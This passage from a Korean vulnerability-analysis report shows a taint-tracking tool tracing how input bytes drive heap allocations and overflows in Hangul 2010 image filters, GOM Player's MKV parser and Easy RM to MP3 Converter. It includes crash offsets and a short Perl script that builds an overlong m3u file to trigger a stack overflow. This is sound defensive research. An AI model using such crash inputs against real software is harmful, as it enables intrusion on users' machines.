( 그림 5-21) 입력데이터전파 2 ( 디컴파일 ) 이미지사이즈연산함수내에서도이미지사이즈연산을위해다수의 함수가호출이된다. [C] HncGif10.flt + 0xa09a call 0xe93a020 -> ImportGR [1] 0xffff [fo] 0x314 0x313 ( 그림 5-22) 입력데이터전파 3 ( 디스어셈블 ) ( 그림 5-23) 입력데이터전파 3 ( 디컴파일 ) 다음과같이연산을위한함수로전파된다. [C] HncGif10.flt + 0xa02b call 0xe93a000 -> ImportGR [1] 0xffff [fo] 0x314 0x313 ( 그림 5-24) 입력데이터전파 4 ( 디스어셈블 )
( 그림 5-25) 입력데이터전파 4 ( 디컴파일 ) 이전함수에서연산이된값이 (0xffff * 0x8 = 0x7fff8) 다음함수에 전달이된다. [C] HncGif10.flt + 0xa034 call 0xe93a010 -> ImportGR [1] 0x7fff8 [fo] 0x314 0x313 ( 그림 5-26) 입력데이터전파 5 ( 디스어셈블 ) ( 그림 5-27) 입력데이터전파 5 ( 디컴파일 ) 이전함수에서연산된값이 malloc 에전달되며메모리할당을한다. [C] HncGif10.flt + 0xa35d call 0xe93ae82 -> ImportGR [1] 0x13f8f028 [fo] 0x314 0x313 0x315 0x316 ( 그림 5-28) 입력데이터전파 6 ( 디스어셈블 ) ( 그림 5-29) 입력데이터전파 6 ( 디컴파일 )
마지막으로 _malloc 내의 HeapAlloc 의세번째인자값에연산된값이 전달된다. 해당값은입력파일의 313 번째부터 316 번째바이트에의해영 향을받는것을확인할수있다. [C] HncGif10.flt + 0xaef9 call edi -> RtlAllocateHeap [3] 0x13f8f028 [fo] 0x314 0x313 0x315 0x316 ( 그림 5-30) 입력데이터전파 7 ( 디스어셈블 ) ( 그림 5-31) 입력데이터일부 나. 한글 Integer Overflow 취약점 (CVE-2012-1206) 해당취약점은 2012년 2월국외에서발견된아래한글이미지처리모듈에서발생하는 Integer Overflow취약점 (CVE-2012-1206) 과동일한취약점으로이미지의크기를체크하는모듈에서 integer overflow가발생하여메모리할당에영향을미치는케이스이다. Ÿ 버전 : 한글 2010 SE 8.5.5.1092 (1) Jpeg 파일처리에대한취약점 본취약점은 HncJpeg10.flt 모듈에서발생하며해당함수는 JPEG 파일 의헤더구조체를읽은후, 파일크기만큼메모리할당을수행한다. ( 가 ) 힙오버플로우탐지
제작된도구를통해본취약점의힙오버플로우정보를확인하여보면 다음과같다. Heap Overflow : HncJpeg10.flt + 0x18d1b >> 0xeae0000 0 0xab68 Heap Create : HncJpeg10.flt + 0x1df28 Heap Size : 0x1000 Heap Alloc Size : 0xab68 Heap Overflow : HncJpeg10.flt + 0x18d1b >> 0xeae0000 0 0xab68 Heap Create : HncJpeg10.flt + 0x1df28 Heap Size : 0x1000 Heap Alloc Size : 0xab68 Heap Overflow : HncJpeg10.flt + 0x18d1b >> 0xeae0000 0 0x1ac80 Heap Create : HncJpeg10.flt + 0x1df28 Heap Size : 0x1000 Heap Alloc Size : 0x1ac80 Heap Overflow : HncJpeg10.flt + 0x18d1b >> 0xeae0000 0 0x2fc28 Heap Create : HncJpeg10.flt + 0x1df28 Heap Size : 0x1000 Heap Alloc Size : 0x2fc28 Heap Overflow : HncJpeg10.flt + 0x18d1b >> 0xeae0000 0 0x10118 Heap Create : HncJpeg10.flt + 0x1df28 Heap Size : 0x1000 Heap Alloc Size : 0x10118 위의결과는힙오버플로우정보의일부로이밖에도다수힙오버플로 우가의심이되는지점이탐지된다. 위의결과를기반으로데이터흐름 분석도구를통해의심 API 와입력데이터간의상관관계를분석한다. ( 나 ) 데이터흐름추적 다음은데이터흐름추적도구를통해입력데이터와의심 API 인 HeapAlloc 의연관성을분석한결과이다. [Open] 0xe41747c C:\DOCUME~1\hajacrew\LOCALS~1\Temp\$EM0001.jpg [Offset] 0x15600 [Offset] 0x15600
[Offset] 0 [Read] 0xe4107f0 0x1 ~ 0x1001 [buf]0xea54210 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x10 [fo] 0x5 0x6 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x3c [fo] 0x17 0x18... [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0xb5 [fo] 0x1eb 0x1ec [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0xc [fo] 0x2a2 0x2a3 [Offset] 0 [Read] 0xe4107f0 0x1 ~ 0x1001 [buf]0xea55928 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x3f90 [fo] 0xe6 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x2fc28 [fo] 0xe5 0xe4 0xe2 0xe3 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x10118 [fo] 0xe5 0xe4 0xe2 0xe3 위와같이입력데이터에의해메모리의크기가결정되는부분이다수 있는데힙오버플로우를발생시키면서입력데이터와연관성이있는 API 는다음과같다. [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x3f90 [fo] 0xe6 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x2fc28 [fo] 0xe5 0xe4 0xe2 0xe3 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x10118 [fo] 0xe5 0xe4 0xe2 0xe3 위의결과를확인하여보면 0xe2 ~ 0xe5 번지의값에의해메모리가 할당되는것을확인할수있다. ( 그림 5-32) 입력데이터일부 해당주소의값은 0xff, 0x00, 0x55, 0xac 순으로구성이되어있다. 이
를통해데이터흐름을추적하여보면다음과같다. [C] HncJpeg10.flt + 0x5753 call 0xe2999a0 -> ImportGR [1] 0x55ac [fo] 0xe5 0xe4 [C] HncJpeg10.flt + 0x577c call 0xe2999a0 -> ImportGR [1] 0xff00 [fo] 0xe3 0xe2 [C] HncJpeg10.flt + 0x57a2 call 0xe2999a0 -> ImportGR [1] 0x55ac [fo] 0xe5 0xe4 [C] HncJpeg10.flt + 0x57c8 call 0xe2999a0 -> ImportGR [1] 0xff00 [fo] 0xe3 0xe2... [C] HncJpeg10.flt + 0x24a8 call 0xe2a8ca4 -> ImportGR [1] 0x2fc28 [fo] 0xe5 0xe4 0xe2 0xe3 [C] HncJpeg10.flt + 0x18d1b call edi -> RtlAllocateHeap [3] 0x2fc28 [fo] 0xe5 0xe4 0xe2 0xe3 0x55ac 와 0xff00 이 sub_0x100099a0 에전달되어계산되고해당정보는 저장된다. ( 그림 5-33) 입력데이터연산 이후연산된데이터는 _malloc 에전달되고최종적으로 HeapAlloc 을통해메모리를할당한다. ( 그림 5-34) 힙할당 ( 그림 5-35) 힙할당코드
다. 아래한글 2010se heap overflow 취약점 (13-121) Ÿ 버전 : 한글 2010 SE 8.5.5.1092 (1) 힙오버플로우 힙오버플로우와같은경우는할당된힙영역보다데이터가복사가되어발생한다. 아래한글 2010se의내부코드를살펴보면다음과같이 new 를통해메모리할당을하고 memcpy 를통해할당된영역에메모리영역을복사하는것을확인할수있다. ( 그림 5-36) 취약 API 실행지점 new 와의첫번째인자는할당될메모리크기이다. memcpy 의첫번째인자값은복사될메모리영역 (dst), 복사할메모리영역 (src), 복사할크기 (size) 이다. new 에서할당된메모리영역을넘어서는것을체크하기위해 pin을이용하여다음과같이구현한다.
( 그림 5-37) 힙오버플로우탐지 new, malloc, HeapCreate 등으로메모리가할당되는경우 메모리할당정보테이블에할당되는메모리영역정보및메모리할당 API 가호출되는지점의주소를저장한다. memcpy 로메모리영역이 복사되는경우복사될메모리영역 (dst) 의크기는 dst + size 이다. 메모리 할당정보테이블을체크하여할당된메모리영역을넘는경우다음과 같이로그를남긴다. MsDocGroup.DFT 0x1fc3c6 memcpy ARG 0 : 0xbbbce09 ARG 0x1 : 0xbc3c23b ARG 0x2 : 0xd0 Heap Overflow : MsDocGroup.DFT + 0x1fc3c6 >> 0xbbbce09 0xbc3c23b 0xd0 Heap Alloc Addr : MsDocGroup.DFT + 0x1f9bf4 Heap Allocated Addr : 0xbbbc818 ~ 0xbbbceb2 Heap Assign Addr : 0xbbbce09 ~ 0xbbbced9 ret : 0 위의결과를보면할당된메모리의범위는 0xbbbc818 에서 0xbbbceb2 까지인데 memcpy 를통해경계값인 0xbbbceb2 를넘어선 0xbbbced9 에 값이복사되어힙오버플로우가예상되는결과를얻을수있다. Ÿ 한계점 본취약점또한앞의아래아한글취약점과유사하게 HWP 파일에서 임시파일을드랍하고해당파일을로드하여수행을한다. 현재입력데
이터파일에서임시파일이드랍되는행위에대한분석모듈이구현되어 있지않아데이터흐름추적에한계가있다. 라. 곰플레이어 MKV 파일포맷 DateUTC 인티저오버플로우취약점 Ÿ 버전 : 곰플레이어 2.1.46.5131 (Unicode) 본취약점은곰플레이어 MKV 파일포맷에서인코딩날짜인 DataUTC 값을비정삭적으로변조하여임의의코드를실행할수있는취약점이다. 다음과같이 GSFU.ax 파일내에서접근위반이발생한다. 아래코드를확인하여보면입력값에의해 ECX와 EAX 레지스터를조작할수있는것을확인할수있고올바른메모리값이들어온다면 EAX에의한메모리값이 ECX로 ECX에의한메모리값이 EDX로복사가되며 EDX 에의한메모리값이다시 EAX로복사되고 call EAX를통해프로그램의흐름을제어할수있다. ( 그림 5-38) 제어흐름변조코드 입력값에의해제어흐름의변경여부를체크하기위해 taint analysis 를통해입력값을흐름을추적하여본다. 다음은실제취약입력데이터의흐름을분석한결과이다. [Open] 0xc2e5ca8 crash1_re.mkv [Offset] 0 [Read] 0xc2e5321 0x1 ~ 0x5 [buf]0x13b914 GSFU.ax [R] 0xc2f7b90 mov dl, byte ptr [ecx] [M] 0x13b917 [V] 0xa3
[fo] 0x4 GSFU.ax [R] 0xc2f7b92 mov bl, byte ptr [eax] [M] 0x13b914 [V] 0x1a [fo] 0x1 GSFU.ax [R] 0xc2f7b9a mov bl, byte ptr [ecx] [M] 0x13b917 [V] 0xa3 [fo] 0x4 GSFU.ax [R] 0xc2f7ba2 xor byte ptr [eax], dl [M] 0x13b914 [V] 0xb9 [fo] 0x1 GSFU.ax [R] 0xc2f7b90 mov dl, byte ptr [ecx] [M] 0x13b916 [V] 0xdf [fo] 0x3 GSFU.ax [R] 0xc2f7b92 mov bl, byte ptr [eax] [M] 0x13b915 [V] 0x45 [fo] 0x2 GSFU.ax [R] 0xc2f7b9a mov bl, byte ptr [ecx] [M] 0x13b916 [V] 0xdf [fo] 0x3 GSFU.ax [R] 0xc2f7ba2 xor byte ptr [eax], dl [M] 0x13b915 [V] 0x9a [fo] 0x2 GSFU.ax [R] 0xc2ff176 cmp dword ptr [esp+0x20], 0x1a45dfa3 [M] 0x13b914 [V] 0x1a45dfa3 [fo] 0x2 0x3 0x1 0x4... GSFU.ax [R] 0xc2e4530 mov eax, dword ptr [ecx] [M] 0xc452178 [V] 0x41414141 [fo] 0x10fc 0x10fd 0x10fe 0x10ff [E] = 0xc0000005 ( 그림 5-39) 입력파일바이너리 위의결과와파일오프셋을확인해보면파일에서읽어들인데이터의 흐름을파악할수있다. 다음과같이접근위반발생과해당 exception 이 입력데이터의몇번째바이트에영향을받았는지확인가능하다. ( 그림 5-40) 입력파일바이너리
Ÿ 한계점 본도구는동적분석도구이므로실행되지않은코드에대해서는분석이불가능하다. 따라서위의예제와같이실제제어흐름조작코드까지프로그램이실행되지않으면입력값에의해프로그램제어흐름이조작되는지확인이불가능하다. 따라서제어흐름이취약코드까지전달이될수있도록입력데이터를생성하거나또는예외가발생한부분부터정적분석을수해하여야정확한분석이가능하다. 마. RM2MP3Converter 버전 /URL RM2MP3Converter는 RM 확장자를가진음성파일을 MP3 확장자로변환해주는프로그램이다. 해당프로그램은 m3u 파일포맷에대한입력의길이를확인하지않아스택오버플로우및 SEH 오버플로우가발생하는취약점을가지고있다. Ÿ 버전 : Easy RM to MP3 Converter Version 2.7.3.700 (1) 스택오버플로우탐지 해당취약점은 RM2MP3Converter 에서발견된것으로파일을메모리에 복사할때지정된길이를체크하지않아발생하는스택오버플로우이다. my $file = "crash.m3u"; my $junk = 'A' x 30000 ; open($file, ">$file"); print $FILE "$junk"; close($file); 위의펄스크립트로생성된임의의파일을입력으로넣으면해당프로그 램은종료된다.
( 그림 5-41) 오류발생 해당취약점이발생한부분은 MSRMfilter03.dll+0x8d93 이며해당루틴 을호출한곳은 RM2MP3Converter.exe+0x1e3f0 에존재한다. 위부분의 코드를보면아래와같다. 취약점호출부분 (RM2MP3Converter.exe 취약점부분 (MSRMfilter03.dll+0x8d9 ( 그림 5-42) 취약지점코드 위예시를루틴을통해스택오버플로우를발견한결과는아래와같다. Stack OverFlow : MSRMfilter03.dll+0x8d93 WriteAddr : 0xff728